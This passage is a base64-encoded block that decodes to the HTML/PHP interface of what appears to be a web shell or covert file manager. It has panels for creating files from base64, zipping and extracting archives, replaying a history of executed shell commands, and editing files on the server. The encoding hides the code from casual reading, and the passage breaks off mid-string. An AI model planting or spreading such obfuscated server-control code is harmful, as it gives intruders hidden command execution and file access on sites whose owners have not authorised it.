DM+PGkgY2xhc3M9ImZhcyBmYS1maWxlLWNvZGUiPjwvaT4gQ3JlYXRlIGZyb20gQmFzZTY0PC9oMz4NCiAgICAgICAgICAgICAgICA8YnV0dG9uIGNsYXNzPSJidG4gYnRuLWljb24iIG9uY2xpY2s9ImhpZGVNb2RhbCgpIj4NCiAgICAgICAgICAgICAgICAgICAgPGkgY2xhc3M9ImZhcyBmYS10aW1lcyI+PC9pPg0KICAgICAgICAgICAgICAgIDwvYnV0dG9uPg0KICAgICAgICAgICAgPC9kaXY+DQogICAgICAgICAgICA8ZGl2IGNsYXNzPSJtb2RhbC1ib2R5Ij4NCiAgICAgICAgICAgICAgICA8Zm9ybSBtZXRob2Q9IlBPU1QiIGlkPSJiYXNlNjRGb3JtIj4NCiAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iY3NyZl90b2tlbiIgdmFsdWU9Ijw/cGhwIGVjaG8gJF9TRVNTSU9OWydjc3JmX3Rva2VuJ107ID8+Ij4NCiAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iY3JlYXRlX2Jhc2U2NCIgdmFsdWU9IjEiPg0KICAgICAgICAgICAgICAgICAgICANCiAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0iZm9ybS1ncm91cCI+DQogICAgICAgICAgICAgICAgICAgICAgICA8bGFiZWwgY2xhc3M9ImZvcm0tbGFiZWwiPkZpbGVuYW1lPC9sYWJlbD4NCiAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJiYXNlNjRfZmlsZW5hbWUiIGNsYXNzPSJmb3JtLWNvbnRyb2wiIA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHBsYWNlaG9sZGVyPSJleGFtcGxlLmpwZyIgcmVxdWlyZWQ+DQogICAgICAgICAgICAgICAgICAgIDwvZGl2Pg0KICAgICAgICAgICAgICAgICAgICANCiAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0iZm9ybS1ncm91cCI+DQogICAgICAgICAgICAgICAgICAgICAgICA8bGFiZWwgY2xhc3M9ImZvcm0tbGFiZWwiPkJhc2U2NCBEYXRhPC9sYWJlbD4NCiAgICAgICAgICAgICAgICAgICAgICAgIDx0ZXh0YXJlYSBuYW1lPSJiYXNlNjRfZGF0YSIgY2xhc3M9ImZvcm0tY29udHJvbCIgcm93cz0iMTAiIA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHBsYWNlaG9sZGVyPSJkYXRhOmltYWdlL2pwZWc7YmFzZTY0LC85ai80QUFRU2taSlJnQUJBUUFBQVFBQkFBRC8yd0JEQUEuLi4iIA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHJlcXVpcmVkPjwvdGV4dGFyZWE+DQogICAgICAgICAgICAgICAgICAgIDwvZGl2Pg0KICAgICAgICAgICAgICAgICAgICANCiAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0iYWxlcnQgYWxlcnQtaW5mbyI+DQogICAgICAgICAgICAgICAgICAgICAgICA8aSBjbGFzcz0iZmFzIGZhLWluZm8tY2lyY2xlIj48L2k+DQogICAgICAgICAgICAgICAgICAgICAgICBTdXBwb3J0cyBkYXRhIFVSSXMgKGRhdGE6aW1hZ2UvanBlZztiYXNlNjQsLi4uKSBvciByYXcgYmFzZTY0DQogICAgICAgICAgICAgICAgICAgIDwvZGl2Pg0KICAgICAgICAgICAgICAgICAgICANCiAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0iZC1mbGV4IGdhcC0xMCI+DQogICAgICAgICAgICAgICAgICAgICAgICA8YnV0dG9uIHR5cGU9InN1Ym1pdCIgY2xhc3M9ImJ0biBidG4tcHJpbWFyeSI+Q3JlYXRlIEZpbGU8L2J1dHRvbj4NCiAgICAgICAgICAgICAgICAgICAgICAgIDxidXR0b24gdHlwZT0iYnV0dG9uIiBjbGFzcz0iYnRuIGJ0bi1zZWNvbmRhcnkiIG9uY2xpY2s9ImhpZGVNb2RhbCgpIj5DYW5jZWw8L2J1dHRvbj4NCiAgICAgICAgICAgICAgICAgICAgPC9kaXY+DQogICAgICAgICAgICAgICAgPC9mb3JtPg0KICAgICAgICAgICAgPC9kaXY+DQogICAgICAgIDwvZGl2Pg0KICAgIDwvZGl2Pg0KICAgIA0KICAgIDwhLS0gWmlwL1VuemlwIE1vZGFsIC0tPg0KICAgIDxkaXYgaWQ9InppcE1vZGFsIiBjbGFzcz0ibW9kYWwiPg0KICAgICAgICA8ZGl2IGNsYXNzPSJtb2RhbC1jb250ZW50Ij4NCiAgICAgICAgICAgIDxkaXYgY2xhc3M9Im1vZGFsLWhlYWRlciI+DQogICAgICAgICAgICAgICAgPGgzPjxpIGNsYXNzPSJmYXMgZmEtZmlsZS1hcmNoaXZlIj48L2k+IFppcCAmIFVuemlwIFRvb2xzPC9oMz4NCiAgICAgICAgICAgICAgICA8YnV0dG9uIGNsYXNzPSJidG4gYnRuLWljb24iIG9uY2xpY2s9ImhpZGVNb2RhbCgpIj4NCiAgICAgICAgICAgICAgICAgICAgPGkgY2xhc3M9ImZhcyBmYS10aW1lcyI+PC9pPg0KICAgICAgICAgICAgICAgIDwvYnV0dG9uPg0KICAgICAgICAgICAgPC9kaXY+DQogICAgICAgICAgICA8ZGl2IGNsYXNzPSJtb2RhbC1ib2R5Ij4NCiAgICAgICAgICAgICAgICA8IS0tIFRhYnMgaW5zaWRlIG1vZGFsIC0tPg0KICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9InRhYnMgbWItMjAiPg0KICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJ0YWIgYWN0aXZlIiBvbmNsaWNrPSJzaG93WmlwVGFiKCd6aXAnKSI+Q3JlYXRlIEFyY2hpdmU8L2Rpdj4NCiAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0idGFiIiBvbmNsaWNrPSJzaG93WmlwVGFiKCd1bnppcCcpIj5FeHRyYWN0IEFyY2hpdmU8L2Rpdj4NCiAgICAgICAgICAgICAgICA8L2Rpdj4NCiAgICAgICAgICAgICAgICANCiAgICAgICAgICAgICAgICA8IS0tIFppcCBUYWIgLS0+DQogICAgICAgICAgICAgICAgPGRpdiBpZD0iemlwVGFiIiBjbGFzcz0iemlwLXRhYi1jb250ZW50Ij4NCiAgICAgICAgICAgICAgICAgICAgPGZvcm0gbWV0aG9kPSJQT1NUIiBpZD0iemlwRm9ybSI+DQogICAgICAgICAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJjc3JmX3Rva2VuIiB2YWx1ZT0iPD9waHAgZWNobyAkX1NFU1NJT05bJ2NzcmZfdG9rZW4nXTsgPz4iPg0KICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iemlwX2FjdGlvbiIgdmFsdWU9IjEiPg0KICAgICAgICAgICAgICAgICAgICAgICAgDQogICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJmb3JtLWdyb3VwIj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8bGFiZWwgY2xhc3M9ImZvcm0tbGFiZWwiPlNlbGVjdCBJdGVtcyB0byBDb21wcmVzczwvbGFiZWw+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBzdHlsZT0ibWF4LWhlaWdodDogMjAwcHg7IG92ZXJmbG93LXk6IGF1dG87IGJvcmRlcjogMXB4IHNvbGlkIHZhcigtLWJvcmRlcik7IHBhZGRpbmc6IDEwcHg7IGJvcmRlci1yYWRpdXM6IDZweDsiPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8P3BocCBmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGUpOiA/Pg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8P3BocCBpZiAoJGZpbGUgPT0gJy4nIHx8ICRmaWxlID09ICcuLicpIGNvbnRpbnVlOyA/Pg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IHN0eWxlPSJtYXJnaW4tYm90dG9tOiA1cHg7Ij4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPSJjaGVja2JveCIgbmFtZT0iaXRlbXNbXSIgdmFsdWU9Ijw/cGhwIGVjaG8gJGZpbGU7ID8+IiBpZD0iaXRlbV88P3BocCBlY2hvIG1kNSgkZmlsZSk7ID8+Ij4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxsYWJlbCBmb3I9Iml0ZW1fPD9waHAgZWNobyBtZDUoJGZpbGUpOyA/PiI+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGkgY2xhc3M9ImZhcyA8P3BocCBlY2hvIGlzX2RpcigkY3VycmVudERpciAuICcvJyAuICRmaWxlKSA/ICdmYS1mb2xkZXIgdGV4dC13YXJuaW5nJyA6IGdldF9maWxlX2ljb24oJGZpbGUpOyA/PiI+PC9pPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDw/cGhwIGVjaG8gaHRtbHNwZWNpYWxjaGFycygkZmlsZSk7ID8+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L2xhYmVsPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L2Rpdj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPD9waHAgZW5kZm9yZWFjaDsgPz4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L2Rpdj4NCiAgICAgICAgICAgICAgICAgICAgICAgIDwvZGl2Pg0KICAgICAgICAgICAgICAgICAgICAgICAgDQogICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJmb3JtLWdyb3VwIj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8bGFiZWwgY2xhc3M9ImZvcm0tbGFiZWwiPkFyY2hpdmUgTmFtZTwvbGFiZWw+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9InRleHQiIG5hbWU9InppcF9uYW1lIiBjbGFzcz0iZm9ybS1jb250cm9sIiANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgcGxhY2Vob2xkZXI9ImFyY2hpdmUuemlwIiB2YWx1ZT0iYXJjaGl2ZV88P3BocCBlY2hvIGRhdGUoJ1ltZF9IaXMnKTsgPz4uemlwIj4NCiAgICAgICAgICAgICAgICAgICAgICAgIDwvZGl2Pg0KICAgICAgICAgICAgICAgICAgICAgICAgDQogICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJhbGVydCBhbGVydC1pbmZvIj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8aSBjbGFzcz0iZmFzIGZhLWluZm8tY2lyY2xlIj48L2k+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgQ3JlYXRlcyBhIFpJUCBhcmNoaXZlIGZyb20gc2VsZWN0ZWQgZmlsZXMvZm9sZGVycw0KICAgICAgICAgICAgICAgICAgICAgICAgPC9kaXY+DQogICAgICAgICAgICAgICAgICAgICAgICANCiAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImQtZmxleCBnYXAtMTAiPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxidXR0b24gdHlwZT0ic3VibWl0IiBjbGFzcz0iYnRuIGJ0bi1wcmltYXJ5Ij4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGkgY2xhc3M9ImZhcyBmYS1jb21wcmVzcyI+PC9pPiBDcmVhdGUgQXJjaGl2ZQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvYnV0dG9uPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxidXR0b24gdHlwZT0iYnV0dG9uIiBjbGFzcz0iYnRuIGJ0bi1zZWNvbmRhcnkiIG9uY2xpY2s9ImhpZGVNb2RhbCgpIj5DYW5jZWw8L2J1dHRvbj4NCiAgICAgICAgICAgICAgICAgICAgICAgIDwvZGl2Pg0KICAgICAgICAgICAgICAgICAgICA8L2Zvcm0+DQogICAgICAgICAgICAgICAgPC9kaXY+DQogICAgICAgICAgICAgICAgDQogICAgICAgICAgICAgICAgPCEtLSBVbnppcCBUYWIgLS0+DQogICAgICAgICAgICAgICAgPGRpdiBpZD0idW56aXBUYWIiIGNsYXNzPSJ6aXAtdGFiLWNvbnRlbnQiIHN0eWxlPSJkaXNwbGF5OiBub25lOyI+DQogICAgICAgICAgICAgICAgICAgIDxmb3JtIG1ldGhvZD0iUE9TVCIgaWQ9InVuemlwRm9ybSI+DQogICAgICAgICAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJjc3JmX3Rva2VuIiB2YWx1ZT0iPD9waHAgZWNobyAkX1NFU1NJT05bJ2NzcmZfdG9rZW4nXTsgPz4iPg0KICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0idW56aXBfYWN0aW9uIiB2YWx1ZT0iMSI+DQogICAgICAgICAgICAgICAgICAgICAgICANCiAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImZvcm0tZ3JvdXAiPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxsYWJlbCBjbGFzcz0iZm9ybS1sYWJlbCI+U2VsZWN0IEFyY2hpdmUgdG8gRXh0cmFjdDwvbGFiZWw+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgPHNlbGVjdCBuYW1lPSJ1bnppcF9maWxlIiBjbGFzcz0iZm9ybS1jb250cm9sIiByZXF1aXJlZD4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPG9wdGlvbiB2YWx1ZT0iIj4tLSBTZWxlY3QgQXJjaGl2ZSAtLTwvb3B0aW9uPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8P3BocCBmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGUpOiA/Pg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8P3BocCBpZiAoJGZpbGUgPT0gJy4nIHx8ICRmaWxlID09ICcuLicpIGNvbnRpbnVlOyA/Pg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8P3BocCANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGV4dCA9IHN0cnRvbG93ZXIocGF0aGluZm8oJGZpbGUsIFBBVEhJTkZPX0VYVEVOU0lPTikpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZiAoaW5fYXJyYXkoJGV4dCwgWyd6aXAnLCAncmFyJywgJzd6JywgJ3RhcicsICdneiddKSk6IA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA/Pg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8b3B0aW9uIHZhbHVlPSI8P3BocCBlY2hvICRmaWxlOyA/PiI+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8P3BocCBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoJGZpbGUpOyA/Pg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L29wdGlvbj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPD9waHAgZW5kaWY7ID8+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDw/cGhwIGVuZGZvcmVhY2g7ID8+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9zZWxlY3Q+DQogICAgICAgICAgICAgICAgICAgICAgICA8L2Rpdj4NCiAgICAgICAgICAgICAgICAgICAgICAgIA0KICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0iZm9ybS1ncm91cCI+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgPGxhYmVsIGNsYXNzPSJmb3JtLWxhYmVsIj5FeHRyYWN0IHRvIEZvbGRlciAob3B0aW9uYWwpPC9sYWJlbD4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0iZXh0cmFjdF90byIgY2xhc3M9ImZvcm0tY29udHJvbCIgDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHBsYWNlaG9sZGVyPSJMZWF2ZSBlbXB0eSB0byB1c2UgYXJjaGl2ZSBuYW1lIj4NCiAgICAgICAgICAgICAgICAgICAgICAgIDwvZGl2Pg0KICAgICAgICAgICAgICAgICAgICAgICAgDQogICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJhbGVydCBhbGVydC1pbmZvIj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8aSBjbGFzcz0iZmFzIGZhLWluZm8tY2lyY2xlIj48L2k+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgU3VwcG9ydHM6IFpJUCwgUkFSLCA3WiwgVEFSLCBHWiBmb3JtYXRzDQogICAgICAgICAgICAgICAgICAgICAgICA8L2Rpdj4NCiAgICAgICAgICAgICAgICAgICAgICAgIA0KICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0iZC1mbGV4IGdhcC0xMCI+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgPGJ1dHRvbiB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLXByaW1hcnkiPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8aSBjbGFzcz0iZmFzIGZhLWV4cGFuZCI+PC9pPiBFeHRyYWN0IEFyY2hpdmUNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L2J1dHRvbj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8YnV0dG9uIHR5cGU9ImJ1dHRvbiIgY2xhc3M9ImJ0biBidG4tc2Vjb25kYXJ5IiBvbmNsaWNrPSJoaWRlTW9kYWwoKSI+Q2FuY2VsPC9idXR0b24+DQogICAgICAgICAgICAgICAgICAgICAgICA8L2Rpdj4NCiAgICAgICAgICAgICAgICAgICAgPC9mb3JtPg0KICAgICAgICAgICAgICAgIDwvZGl2Pg0KICAgICAgICAgICAgPC9kaXY+DQogICAgICAgIDwvZGl2Pg0KICAgIDwvZGl2Pg0KICAgIA0KICAgIDxkaXYgaWQ9Imhpc3RvcnlNb2RhbCIgY2xhc3M9Im1vZGFsIj4NCiAgICAgICAgPGRpdiBjbGFzcz0ibW9kYWwtY29udGVudCI+DQogICAgICAgICAgICA8ZGl2IGNsYXNzPSJtb2RhbC1oZWFkZXIiPg0KICAgICAgICAgICAgICAgIDxoMz48aSBjbGFzcz0iZmFzIGZhLWhpc3RvcnkiPjwvaT4gQ29tbWFuZCBIaXN0b3J5PC9oMz4NCiAgICAgICAgICAgICAgICA8YnV0dG9uIGNsYXNzPSJidG4gYnRuLWljb24iIG9uY2xpY2s9ImhpZGVNb2RhbCgpIj4NCiAgICAgICAgICAgICAgICAgICAgPGkgY2xhc3M9ImZhcyBmYS10aW1lcyI+PC9pPg0KICAgICAgICAgICAgICAgIDwvYnV0dG9uPg0KICAgICAgICAgICAgPC9kaXY+DQogICAgICAgICAgICA8ZGl2IGNsYXNzPSJtb2RhbC1ib2R5Ij4NCiAgICAgICAgICAgICAgICA8P3BocCBpZiAoZW1wdHkoJGhpc3RvcnkpKTogPz4NCiAgICAgICAgICAgICAgICAgICAgPHAgY2xhc3M9InRleHQtY2VudGVyIj5ObyBjb21tYW5kIGhpc3Rvcnk8L3A+DQogICAgICAgICAgICAgICAgPD9waHAgZWxzZTogPz4NCiAgICAgICAgICAgICAgICAgICAgPGRpdiBzdHlsZT0ibWF4LWhlaWdodDogMzAwcHg7IG92ZXJmbG93LXk6IGF1dG87Ij4NCiAgICAgICAgICAgICAgICAgICAgICAgIDw/cGhwIGZvcmVhY2ggKCRoaXN0b3J5IGFzICRpID0+ICRjbWQpOiA/Pg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImQtZmxleCBqdXN0aWZ5LWJldHdlZW4gYWxpZ24tY2VudGVyIG1iLTEwIj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGNvZGUgc3R5bGU9ImZsZXg6IDE7IG1hcmdpbi1yaWdodDogMTBweDsiPjw/cGhwIGVjaG8gaHRtbHNwZWNpYWxjaGFycygkY21kKTsgPz48L2NvZGU+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxidXR0b24gY2xhc3M9ImJ0biBidG4tc20gYnRuLXNlY29uZGFyeSIgb25jbGljaz0idXNlQ29tbWFuZCgnPD9waHAgZWNobyBhZGRzbGFzaGVzKCRjbWQpOyA/PicpIj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFVzZQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L2J1dHRvbj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L2Rpdj4NCiAgICAgICAgICAgICAgICAgICAgICAgIDw/cGhwIGVuZGZvcmVhY2g7ID8+DQogICAgICAgICAgICAgICAgICAgIDwvZGl2Pg0KICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJtdC0yMCI+DQogICAgICAgICAgICAgICAgICAgICAgICA8YSBocmVmPSI/YWN0aW9uPWNsZWFyX2hpc3RvcnkmZGlyPTw/cGhwIGVjaG8gdXJsZW5jb2RlKCRjdXJyZW50RGlyKTsgPz4iIGNsYXNzPSJidG4gYnRuLWRhbmdlciI+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgPGkgY2xhc3M9ImZhcyBmYS10cmFzaCI+PC9pPiBDbGVhciBIaXN0b3J5DQogICAgICAgICAgICAgICAgICAgICAgICA8L2E+DQogICAgICAgICAgICAgICAgICAgIDwvZGl2Pg0KICAgICAgICAgICAgICAgIDw/cGhwIGVuZGlmOyA/Pg0KICAgICAgICAgICAgPC9kaXY+DQogICAgICAgIDwvZGl2Pg0KICAgIDwvZGl2Pg0KICAgIA0KICAgIDwhLS0gRWRpdG9yIE1vZGFsIChmb3IgZmlsZSBlZGl0aW5nKSAtLT4NCiAgICA8ZGl2IGlkPSJlZGl0b3JNb2RhbCIgY2xhc3M9Im1vZGFsIj4NCiAgICAgICAgPGRpdiBjbGFzcz0ibW9kYWwtY29udGVudCI+DQogICAgICAgICAgICA8ZGl2IGNsYXNzPSJtb2RhbC1oZWFkZXIiPg0KICAgICAgICAgICAgICAgIDxoMz48aSBjbGFzcz0iZmFzIGZhLWVkaXQiPjwvaT4gRmlsZSBFZGl0b3I8L2gzPg0KICAgICAgICAgICAgICAgIDxidXR0b24gY2xhc3M9ImJ0biBidG4taWNvbiIgb25jbGljaz0iaGlkZU1vZGFsKCkiPg0KICAgICAgICAgICAgICAgICAgICA8aSBjbGFzcz0iZmFzIGZhLXRpbWVzIj48L2k+DQogICAgICAgICAgICAgICAgPC9idXR0b24+DQogICAgICAgICAgICA8L2Rpdj4NCiAgICAgICAgICAgIDxkaXYgY2xhc3M9Im1vZGFsLWJvZHkiPg0KICAgICAgICAgICAgICAgIDxmb3JtIG1ldGhvZD0iUE9TVCIgaWQ9ImVkaXRvckZvcm0iPg0KICAgICAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJjc3JmX3Rva2VuIiB2YWx1ZT0iPD9waHAgZWNobyAkX1NFU1NJT05bJ2NzcmZfdG9rZW4nXTsgPz4iPg0KICAgICAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJlZGl0X2ZpbGUiIHZhbHVlPSIxIj4NCiAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iZmlsZSIgaWQ9ImVkaXRGaWxlTmFtZSI+DQogICAgICAgICAgICAgICAgICAgIA0KICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJmb3JtLWdyb3VwIj4NCiAgICAgICAgICAgICAgICAgICAgICAgIDxsYWJlbCBjbGFzcz0iZm9ybS1sYWJlbCI+RmlsZSBDb250ZW50PC9sYWJlbD4NCiAgICAgICAgICAgICAgICAgICAgICAgIDx0ZXh0YXJlYSBuYW1lPSJjb250ZW50IiBjbGFzcz0iZm9ybS1jb250cm9sIiByb3dzPSIyMCIgaWQ9ImVkaXRGaWxlQ29udGVudCI+PC90ZXh0YXJlYT4NCiAgICAgICAgICAgICAgICAgICAgPC9kaXY+DQogICAgICAgICAgICAgICAgICAgIA0KICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJkLWZsZXggZ2FwLTEwIj4NCiAgICAgICAgICAgICAgICAgICAgICAgIDxidXR0b24gdHlwZT0ic3VibWl0IiBjbGFzcz0iYnRuIGJ0bi1wcmltYXJ5Ij5TYXZlPC9idXR0b24+DQogICAgICAgICAgICAgICAgICAgICAgICA8YnV0dG9uIHR5cGU9ImJ1dHRvbiIgY2xhc3M9ImJ0biBidG4tc2Vjb25kYXJ5IiBvbmNsaWNrPSJoaWRlTW9kYWwoKSI+Q2FuY2VsPC9idXR0b24+DQogICAgICAgICAgICAgICAgICAgIDwvZGl2Pg0KICAgICAgICAgICAgICAgIDwvZm9ybT4NCiAgICAgICAgICAgIDwvZGl2Pg0KICAgICAgICA8L2Rpdj4NCiAgICA8L2Rpdj4NCiAgICANCiAgICA8IS0tIEJ1bGsgQWN0aW9uIEZvcm0gLS0+DQogICAgPGZvcm0gbWV0aG9kPSJQT1NUIiBpZD0iYnVsa0Zvcm0iIHN0eWxlPSJkaXNwbGF5OiBub25lOyI+DQogICAgICAgIDxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImNzcmZfdG9rZW4iIHZhbHVlPSI8P3BocCBlY2hvICRfU0VTU0lPTlsnY3NyZl90b2tlbiddOyA/PiI+DQogICAgICAgIDxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImJ1bGtfYWN0aW9uIiBpZD0iYnVsa0FjdGlvbiI+DQogICAgICAgIDxkaXYgaWQ9ImJ1bGtJdGVtcyI+PC9kaXY+DQogICAgPC9mb3JtPg0KICAgIA0KICAgIDxzY3JpcHQ+DQogICAgLy8gVGFiIE1hbmFnZW1lbnQNCiAgICBmdW5jdGlvbiBzaG93VGFiKHRhYk5hbWUpIHsNCiAgICAgICAgLy8gSGlkZSBhbGwgdGFicw0KICAgICAgICBkb2N1bWVudC5xdWVyeVNlbGVjdG9yQWxsKCcudGFiLWNvbnRlbnQnKS5mb3JFYWNoKHRhYiA9PiB7DQogICAgICAgICAgICB0YWIuc3R5bGUuZGlzcGxheSA9ICdub25lJzsNCiAgICAgICAgfSk7DQogICAgICAgIA0KICAgICAgICAvLyBSZW1vdmUgYWN0aXZlIGNsYXNzIGZyb20gYWxsIG5hdiBidXR0b25zDQogICAgICAgIGRvY3VtZW50LnF1ZXJ5U2VsZWN0b3JBbGwoJy5uYXYtYnRuJykuZm9yRWFjaChidG4gPT4gew0KICAgICAgICAgICAgYnRuLmNsYXNzTGlzdC5yZW1vdmUoJ2FjdGl2ZScpOw0KICAgICAgICB9KTsNCiAgICAgICAgDQogICAgICAgIC8vIFNob3cgc2VsZWN0ZWQgdGFiDQogICAgICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKHRhYk5hbWUgKyAnVGFiJykuc3R5bGUuZGlzcGxheSA9ICdibG9jayc7DQogICAgICAgIA0KICAgICAgICAvLyBBY3RpdmF0ZSB0aGUgY2xpY2tlZCBidXR0b24NCiAgICAgICAgZXZlbnQudGFyZ2V0LmNsYXNzTGlzdC5hZGQoJ2FjdGl2ZScpOw0KICAgIH0NCiAgICANCiAgICAvLyBaaXAgTW9kYWwgVGFicw0KICAgIGZ1bmN0aW9uIHNob3daaXBUYWIodGFiTmFtZSkgew0KICAgICAgICAvLyBIaWRlIGFsbCB6aXAgdGFicw0KICAgICAgICBkb2N1bWVudC5xdWVyeVNlbGVjdG9yQWxsKCcuemlwLXRhYi1jb250ZW50JykuZm9yRWFjaCh0YWIgPT4gew0KICAgICAgICAgICAgdGFiLnN0eWxlLmRpc3BsYXkgPSAnbm9uZSc7DQogICAgICAgIH0pOw0KICAgICAgICANCiAgICAgICAgLy8gUmVtb3ZlIGFjdGl2ZSBjbGFzcyBmcm9tIGFsbCB6aXAgdGFicw0KICAgICAgICBkb2N1bWVudC5xdWVyeVNlbGVjdG9yQWxsKCcubW9kYWwgLnRhYicpLmZvckVhY2godGFiID0+IHsNCiAgICAgICAgICAgIHRhYi5jbGFzc0xpc3QucmVtb3ZlKCdhY3RpdmUnKTsNCiAgICAgICAgfSk7DQogICAgICAgIA0KICAgICAgICAvLyBTaG93IHNlbGVjdGVkIHRhYg0KICAgICAgICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCh0YWJOYW1lICsgJ1RhYicpLnN0eWxlLmRpc3BsYXkgPSAnYmxvY2snOw0KICAgICAgICANCiAgICAgICAgLy8gQWN0aXZhdGUgdGhlIGNsaWNrZWQgdGFiDQogICAgICAgIGV2ZW50LnRhcmdldC5jbGFzc0xpc3QuYWRkKCdhY3RpdmUnKTsNCiAgICB9DQogICAgDQogICAgLy8gTW9kYWwgTWFuYWdlbWVudA0KICAgIGZ1bmN0aW9uIHNob3dNb2RhbChtb2RhbElkKSB7DQogICAgICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKG1vZGFsSWQpLnN0eWxlLmRp